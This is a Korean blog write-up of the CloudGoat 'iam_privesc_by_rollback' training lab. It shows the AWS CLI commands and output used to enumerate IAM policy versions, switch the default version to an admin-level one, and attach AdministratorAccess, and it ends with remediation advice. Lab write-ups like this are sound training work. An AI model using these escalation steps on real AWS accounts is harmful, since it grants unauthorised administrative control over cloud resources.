문제 URL 경로
cloudgoat/cloudgoat/scenarios/aws/iam_privesc_by_rollback/README.md at master · RhinoSecurityLabs/cloudgoat
CloudGoat is Rhino Security Labs' "Vulnerable by Design" AWS deployment tool - RhinoSecurityLabs/cloudgoat
github.com
문제 설명
1개 IAM User와 5개의 Policy 정책을 분석하고 권한 상승 취약점을 이용하여 Admin 권한을 획득하면 되는 문제입니다.
시작은 Raynor 계정을 활용하면 됩니다.

문제 풀이
문제를 풀기 위해 문제 경로(폴더)로 들어가서 start.txt를 확인합니다.
확인한 Access Key로 프로파일을 하나 생성합니다.
#-------------------- 0. 환경 세팅 --------------------
### 시작 계정 Access Key 확인 ###
cat start.txt
### 프로파일 생성 ###
aws configure --profile iam_rollback
1. 소유 권한 분석
사용자 정책을 확인해 보면 raynor 사용자에게는 cg-raynor-policy-<id> 정책이 붙어있고
정책이 가지고 있는 권한은 "iam:SetDefaultPolicyVersion", "iam:Get*", "iam:List*" 총 3개의 권한이 확인됩니다.
#-------------------- 1. 현재 소유 권한 확인 --------------------
### 계정 리스트 확인 ###
aws iam list-users --profile iam_rollback
# 출력결과
{
"Path": "/",
"UserName": "raynor-cgidpes7yoy8s0",
"UserId": "AIDA2YICACBL6SU6TZMJA",
"Arn": "arn:aws:iam::739275444311:user/raynor-cgidpes7yoy8s0",
"CreateDate": "2025-04-08T00:45:23+00:00"
}
### 사용자에게 적용된 AWS 관리 정책 ###
# 출력결과
aws iam list-attached-user-policies --user-name raynor-cgidpes7yoy8s0 --profile iam_rollback
{
"AttachedPolicies": [
{
"PolicyName": "cg-raynor-policy-cgidpes7yoy8s0",
"PolicyArn": "arn:aws:iam::739275444311:policy/cg-raynor-policy-cgidpes7yoy8s0"
}
]
}
### 정책 확인 ###
1) 일반
aws iam get-policy --policy-arn arn:aws:iam::739275444311:policy/cg-raynor-policy-cgidpes7yoy8s0 --profile iam_rollback
# 출력결과
{
"Policy": {
"PolicyName": "cg-raynor-policy-cgidpes7yoy8s0",
"PolicyId": "ANPA2YICACBLTRZYYD7SX",
"Arn": "arn:aws:iam::739275444311:policy/cg-raynor-policy-cgidpes7yoy8s0",
"Path": "/",
"DefaultVersionId": "v1",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"Description": "cg-raynor-policy",
"CreateDate": "2025-04-08T00:45:23+00:00",
"UpdateDate": "2025-04-08T00:45:32+00:00",
"Tags": [
{
"Key": "Scenario",
"Value": "iam-privesc-by-rollback"
},
{
"Key": "Stack",
"Value": "CloudGoat"
}
]
}
}
2) 상세
aws iam get-policy-version --policy-arn arn:aws:iam::739275444311:policy/cg-raynor-policy-cgidpes7yoy8s0 --version-id v1 --profile iam_rollback
# 출력결과
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": [
"iam:Get*",
"iam:List*",
"iam:SetDefaultPolicyVersion"
],
"Effect": "Allow",
"Resource": "*",
"Sid": "IAMPrivilegeEscalationByRollback"
}
],
"Version": "2012-10-17"
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2025-04-08T00:45:23+00:00"
}
}
2. 정책 버전 확인
정책의 버전을 확인해보면 총 5가지 버전의 정책이 확인할 수 있습니다.
각 버전의 정책은 어떻게 권한이 할당되었는지 확인해봅니다.
#-------------------- 2. 버전 확인 및 버전 별 권한 조회 --------------------
### 정책 버전 확인 ###
aws iam list-policy-versions --policy-arn arn:aws:iam::739275444311:policy/cg-raynor-policy-cgidpes7yoy8s0 --profile iam_rollback
# 출력결과
{
"Versions": [
{
"VersionId": "v5",
"IsDefaultVersion": false,
"CreateDate": "2025-04-08T00:45:32+00:00"
},
{
"VersionId": "v4",
"IsDefaultVersion": false,
"CreateDate": "2025-04-08T00:45:30+00:00"
},
{
"VersionId": "v3",
"IsDefaultVersion": false,
"CreateDate": "2025-04-08T00:45:27+00:00"
},
{
"VersionId": "v2",
"IsDefaultVersion": false,
"CreateDate": "2025-04-08T00:45:25+00:00"
},
{
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2025-04-08T00:45:23+00:00"
}
]
}
aws iam get-policy-version --policy-arn arn:aws:iam::739275444311:policy/cg-raynor-policy-cgidpes7yoy8s0 --version-id v2 --profile iam_rollback
aws iam get-policy-version --policy-arn arn:aws:iam::739275444311:policy/cg-raynor-policy-cgidpes7yoy8s0 --version-id v3 --profile iam_rollback
aws iam get-policy-version --policy-arn arn:aws:iam::739275444311:policy/cg-raynor-policy-cgidpes7yoy8s0 --version-id v4 --profile iam_rollback
aws iam get-policy-version --policy-arn arn:aws:iam::739275444311:policy/cg-raynor-policy-cgidpes7yoy8s0 --version-id v5 --profile iam_rollback
3. 디폴트 정책 변경 및 변경 확인
위에서 정책의 버전을 확인해보니 v3 버전의 정책이 관리자 권한을 가지고 있었습니다.
따라서 사용자에게 적용된 버전을 v3 버전으로 바꿔줍니다.
그 후 raynor 사용자에게 관리자 권한을 부여해줍니다.
#-------------------- 3. 디폴트 정책 변경 및 변경 확인 --------------------
### SetDefaultPolicyVersion을 이용한 디폴트 정책 변경 ###
aws iam set-default-policy-version \
--policy-arn arn:aws:iam::739275444311:policy/cg-raynor-policy-cgidpes7yoy8s0 \
--version-id v3 \
--profile iam_rollback
### 정책 확인 ###
aws iam get-policy \
--policy-arn arn:aws:iam::739275444311:policy/cg-raynor-policy-cgidpes7yoy8s0 \
--profile iam_rollback
# 출력결과
{
"Policy": {
"PolicyName": "cg-raynor-policy-cgidpes7yoy8s0",
"PolicyId": "ANPA2YICACBLTRZYYD7SX",
"Arn": "arn:aws:iam::739275444311:policy/cg-raynor-policy-cgidpes7yoy8s0",
"Path": "/",
"DefaultVersionId": "v3",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"Description": "cg-raynor-policy",
"CreateDate": "2025-04-08T00:45:23+00:00",
"UpdateDate": "2025-04-08T04:48:30+00:00",
"Tags": [
{
"Key": "Scenario",
"Value": "iam-privesc-by-rollback"
},
{
"Key": "Stack",
"Value": "CloudGoat"
}
]
}
}
### 사용자(raynor)에게 관리자 권한 추가 ###
aws iam attach-user-policy \
--user-name raynor-cgidpes7yoy8s0 \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess \
--profile iam_rollback
### 사용자에게 적용된 AWS 관리 정책 ###
aws iam list-attached-user-policies \
--user-name raynor-cgidpes7yoy8s0 \
--profile iam_rollback
# 출력결과
{
"AttachedPolicies": [
{
"PolicyName": "AdministratorAccess",
"PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
},
{
"PolicyName": "cg-raynor-policy-cgidpes7yoy8s0",
"PolicyArn": "arn:aws:iam::739275444311:policy/cg-raynor-policy-cgidpes7yoy8s0"
}
]
}
사용자 정책을 확인해보면 사용자에게 관리자 권한이 추가되었음을 확인할 수 있습니다.

보안 개선 방안
1. 권한 최소화
iam:SetDefaultPolicyVersion 권한은 일반 사용자에게 부여하면 안됩니다.
이 권한은 보통 정책 버전을 관리하는 CI/CD 파이프라인이나 보안 관리자에게만 허용해야 합니다.
2. 정책 버전 관리
더 이상 사용하지 않는 정책 버전은 삭제(delete-policy-version) 해야 합니다.
내용이 유용하셨다면 좋아요&댓글 부탁드립니다.
이 블로그를 이끌어갈 수 있는 강력한 힘입니다!
caul334@gmail.com
'IT > Cloud' 카테고리의 다른 글
[CloudGoat] lambda_privesc 문제풀이 Write-up (0) | 2025.04.03 |
---|---|
[CloudGoat] iam_privesc_by_key_rotation 문제풀이 Write-up (0) | 2025.04.02 |
[AWS] AWS CLI 커맨드 입력 시 뭘 입력할지 모르겠다면! (aws cli 명령어 레퍼런스) (0) | 2025.04.02 |
[CloudGoat] cloudgoat.py create 명령어 Terraform 에러 (0) | 2025.02.14 |
[AWS][Solved] error during connect: this error may indicate that the docker daemon is not running 에러 원인 (1243) | 2023.05.18 |